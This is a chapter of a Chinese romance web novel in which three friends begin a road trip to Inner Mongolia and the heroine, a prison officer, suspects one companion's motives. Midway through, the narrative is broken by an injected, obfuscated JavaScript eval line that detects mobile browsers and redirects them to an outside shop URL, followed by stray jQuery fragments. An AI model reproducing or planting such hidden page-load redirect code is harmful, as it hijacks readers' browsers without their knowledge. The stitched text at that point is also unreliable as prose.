四天后,城建小区门口。
周平堉早早来等着,季莱发信息说再有五分钟下楼,他悠闲地抽着烟,时不时和路过遛弯的大爷大妈唠两句,彼此都不见外。
五分钟后季莱准时出现,周平堉帮她把行李放后备箱,上车赶紧出发。
季莱没太睡醒,止不住打哈欠,“第一站到哪?”
周平堉指着前方,“第一站可厉害了。”
“嗯?”
“出城方向,加油站。”
“早干嘛了?”
“哎,忙忘了。”
周平堉别有心思,但不能让季莱看出来,也装出一副没睡醒的样子,不停灌咖啡。
开了大概二十多分钟,随着路边越来越空旷,季莱终于看见加油站的红色标识,周平堉把车拐进去,两人相继下车。
外面清风拂面,季莱感觉没那么困了,她晃晃脖颈,忽然瞥见周平堉和另一辆车里的人说着什么,貌似认识。
正纳闷的时候周平堉抬头冲季莱招招手,她走过去,“怎么了?”
“你看谁?”
季莱低头,看见何振的脸......
车门大敞四开,他一条腿伸出车外,身上的酒红色衬衫亮眼又骚气,不过再亮也没用,此刻季莱眼里只有“大骗子”三个字。
两人相视,谁也没主动打招呼,自从那晚何振说话不算话之后,季莱和他毫无交集。
像置气一样,而且这份置气还掺杂了一些工作职责以外的东西,似蒙了层纱,影影绰绰......
周平堉有点尴尬,“呵呵”干笑一声,对季莱说:“何振也要去内蒙古玩,你说巧不巧?”
不等季莱表态,周平堉急着提议,“咱仨搭伙吧,人多热闹,怎么样?”
何振手搭方向盘,“我没意见。”
换句话,有意见的另有其人,季莱感觉这里头有猫腻,奈何周平堉的眼神带着一股清澈的愚蠢,看起来天真无邪,至于何振,他本就真假难辨......
“莱莱,你说呢?”周平堉语气讨好。
季莱没正面答应,而是说:“我去买包纸巾。”
周平堉冲何振张张嘴,“等我一下。”
只有口型没有声。
加油站内的超市,周平堉紧跟季莱身后,“多个人不好吗?送上门的免费劳力,跟我换班开车。”
季莱不为所动,蹲下找她平时常用那款纸巾。
“你俩怎么这么别扭?是不是你跟何振表白被拒了?”
季莱站起来,用平淡的语气骂人,“你脑袋让门夹了吧?我追他?这辈子不可能。”
“对对,不可能,全当给我面子,我都在他那办卡了,以后得经常去呢,别让我丢面儿。”
听周平堉这么说季莱终于同意,“行,你看怎么走,最好开一辆车,省事。”
找到纸巾,季莱拿到收银台结账。
周平堉小跑出去,没等他开口何振先说:“要不分开走吧?”
“干嘛分开?莱莱都答应了。”
何振还是那副样子,浓黑的眉毛一皱,满脸愁云。
“诶?”周平堉不怀好笑,“你是不是怕她呀?”
“我怕她?别闹。”
“怕也没事,莱莱就看着厉害,实际很怂,再说她是狱警,出了未管所啥权利没有,怕什么。”
何振眯眼看周平堉,“我是良民。”
“那就更不用怕了,你别总冷着一张脸,把女孩儿都吓跑了,多笑一笑,长命百岁。”
何振弯弯嘴角,像极了不情不愿上花轿的新郎。
“比哭还难看,你给我收收收回去!”
这时两辆车油箱加满,付完钱他俩把车开到不碍事的地方又同时停下。
撂下车窗,周平堉说:“开我车走吧,我知道前边有个停车场,放几天没多少钱,咱俩换班开,省着累。”
“行。”
两人正聊呢,季莱从洗手间出来发现车不见了,下意识往出口方向望,找到后径直走过去。
在前面停车场停好车,周平堉把他的驾驶位让给何振,季莱坐副驾,他一个人独享后边双人位,爽得不行。
“今天先去哪?”
何振不知道季莱问他还是问周平堉,等了两秒没人应,他反问:“你想在哪停?”
季莱笑了声,“这不是周平堉的风格。”
他习惯事先做好计划,否则心里没底,所以何振说的话完全是自己的想法。
周平堉往前拱拱身子,歪头对季莱说:“咱们这次是自驾,随性一点,怎么开心怎么来,主要为了你开心。”
季莱不屑一笑,“你这话听着很虚啊。”
“我这么壮实,虚什么。”
“哼。”
周平堉感到一股蔑视......
车子突然开出去,差点闪着周平堉的老腰,他抓紧扶手,说:“哥!哥!慢点开,不急。”
何振瞟了一眼后视镜,“我比你大吗?”
季莱证明,“嗯,你大。”
她看过何振的身份证,自然知道年龄。
周平堉得意地问何振,“你今年几岁?”
“三十。”
“比我大一岁,比莱莱大两岁。”
何振点点头,直奔出城方向,等过了收费站季莱问他:“你怎么不开导航?”
“暂时还知道路。”
想起来了,他开过出租,可司机一般只熟悉市区吧?
周平堉问:“你去过内蒙古啊?”
“前年自驾去过。”
记性够好的。
刚出城没多久季莱就睡着了,迷迷糊糊感觉身上盖了一件衣服,她没在意,很快又进入深睡眠,等醒来的时候车已经停了,她睁眼往外看,原来是服务区。
往左,没人,往后,也没人。
季莱刚要下车,发现身上盖的竟然是何振那件酒红色衬衫,她鬼使神差地拿起来闻了闻,味道熟悉,之前喝醉那晚也闻过......
正当季莱回想的时候车窗敲了两下,她开门,风涌进来。
“醒了?”
何振递过来一瓶水,季莱接过,下车拧开喝了一口,顿时清醒不少。
“你要穿衬衫吗?”季莱问。
何振摇摇头,他身上还有件黑色短袖,这个穿衣习惯季莱也有,只是打底的话她习惯里面穿吊带。
“周平堉呢?”
“洗手间。”
服务区人来人往都是歇脚的,上个厕所吃点东西再抽根烟,一般停留时间不长。
季莱也想去厕所,她把水还给何振,“帮我拿一下,谢谢。”
顺着指示牌找到洗手间,比想象中干净,位置很多,季莱特意走到最后一排,解决完洗洗手出来,看见周平堉站在花坛边正在抽烟,何振没跟他一起。
“莱莱。”周平堉冲她招手,季莱走过去,周平堉给她烟和打火机。
见季莱还有点困倦,周平堉打趣问道:“昨晚包宿了吗?好家伙,睡了两个多小时。”
“我乐意。”
“是,你乐意,也不陪何振聊聊天,万一他困了,咱俩哭都找不着北。”
“为什么带他来?一顿酒就把你收买了?”
“真是碰巧,他也要出去散心,人多热闹,再说你舍得让我自己开车呀?”
要在以往季莱一定回一句“舍得”,可这次她没说,低头点着烟吸了一口,眯眯眼,说:“何振可能别有目的。”
“目的?”
季莱决定告诉周平堉实情,“他弟在我单位服刑。”
周平堉嘴里咬的烟差点掉地上,完全没想到剧情是这个走向。
“当然,也不排除他确实想交你这个朋友。”
对于做生意的人来说当然朋友越多越好。
“你俩到底怎么认识的?他刻意接近你吗?”
回想那个雨夜,季莱否认,“不是,偶然认识的。”
“那就好。”周平堉放下心来,“你又不是领导,他能求你什么事啊。”
结合那天在医院听孙建平讲的事,季莱说:“我也不确定,不过何振和他弟关系好像不太好。”
“那现在怎么办?人已经带出来了。”
季莱无所谓,“带就带呗,有咱俩一口吃的就饿不着他。”
“讲真的,他要是求你帮忙,你会帮吗?”
季莱答得干脆,“不会。”
“这么无情?”
“无情?”季莱视线放远,仔细思考这两个字,“郭冬冬也说过,看来我还真是无情。”
周平堉眼波流转,“该说不说,何振比过冬天帅多了。”
季莱清楚周平堉指的是什么,她确实有点馋何振的身子,但绝不会宣之于口。
“我感觉何振好像对你有意思。”
季莱笑了声,“让别人看出的破绽都不作数,我只相信自己感觉到的。”
周平堉咂摸咂摸嘴,深觉有理。
这时何振走过来,周平堉又把烟给他一根,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310923|198837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他抬手,指尖已经夹了一根。
季莱还有点渴,从何振手里拿过矿泉水拧开就喝,他一愣,烟慢慢拿下来,季莱皱眉,“怎么了?”
“我的水。”
“我的不是你拿着吗?”
何振回手向后指,“在车上。”
水已经咽下去了,吐是来不及,季莱把瓶子甩给他,回车上坐。
水瓶被何振捏出声响,眼里全是季莱长发晃动的背影,周平堉安慰他,“莱莱没生气。”
视线落回来,何振说:“我知道。”
“一会儿我开。”
“我开吧,下午你再换我。”
“行。”
歇差不多了,何振跟周平堉回到车上,拐出服务区上高速。
“莱莱,别再睡了,陪何振聊会天。”
季莱转头看向何振,“需要吗?”
握方向盘的手松了又紧,“随你。”
皮球踢来踢去......
“我睡会儿。”
周平堉戴上眼罩和颈枕,充分做好睡觉准备。
等了等,估摸他睡了,季莱才开始跟何振说话,“今天开到哪停?”
“赤峰,周平堉说在赤峰住一晚。”
季莱打开手机翻看酒店,边翻边问:“你和他住一间房行吗?”
“我好像只能和他住一间。”
“......”
何振扭头瞟了一眼,“开玩笑。”
季莱从脚底零食袋掏出一袋旺仔雪饼,边拆边问:“你吃吗?”
“来一块。”
季莱递过去,何振歪头张嘴,雪饼被他叼走。
举止有点亲密,超出他们之间的关系界限,季莱捏着剩下那枚雪饼一时有点局促,但面上还得硬撑,她两口吃掉雪饼,假装无事发生。
“热吗?”何振问。
“还行。”
何振把空调风调大一点,“要是风凉,可以穿我衣服。”
季莱低头,酒红色衬衫在腿旁安静地堆着。
“谢谢。”她把衬衫抻开盖在腿上。
“客气。”
关系重新归位,方才的局促感随之退去。
“你们单位伙食怎么样?”
“你是问我吃的,还是问犯人吃的?”
“何耀吃的。”
站在家属角度,“犯人”不是什么好词,何振不想那么称呼也正常。
他往季莱那边斜睨一眼,“不方便可以不答。”
“还可以,但没办法想吃什么就吃什么。”
“有食杂店吗?”
“有,家属可以给卡里充钱,买东西直接刷卡。”季莱说到这停了下,扭头问何振:“你要给他充吗?”
方向盘上的手弹了弹,季莱趁热打铁,“你可能不了解里面,充点钱的话何耀能过得好一点。”
“不。”
心软只有一瞬,何振恢复之前的冷漠,他不想让季莱觉得他别有意图。
又往前开了一段,季莱说:“放首歌吧,有点干巴。”
“好。”
何振随便点了两下,熟悉的前奏传来,季莱听过,是杨宗纬版本的《最爱》
“红颜若是只为一段情,就让一生只为这段情。
一生只爱一个人,一世只怀一种愁。”
欢乐的旅途不适合这么伤感的歌,但季莱还是听完了,切换到下首时后座传来一声“哼唧”,季莱回头,以为周平堉醒了,结果这大哥拱拱身子换个方向又睡过去。
移回的视线落在何振脸上,“我开啊?”
“不用。”
“要是困可以掐腿。”
“掐谁的?”
何振一本正经,搞得季莱也认真,“当然是你的!”
声音太大引得后座的周平堉猛地坐直,“谁?怎么了?”
“没你事,接着睡。”
“呃~”周平堉抻了个大大的懒腰,身子往前探,拍拍何振肩膀,“振哥,累不?”
“不累。”
周平堉又问季莱,“我睡多长时间了?”
“没人给你计时。”
“季莱!”
“怎么了哥?”
打嘴架周平堉就没赢过季莱,他撤回去找水喝,咕咚咚干掉半瓶。
何振看向窗外,偷偷笑了下。
玻璃上的人影恰好被季莱捕捉,他笑起来完全是另外一种感觉。
拨云见日,清风拂面。
似抵心之彼岸。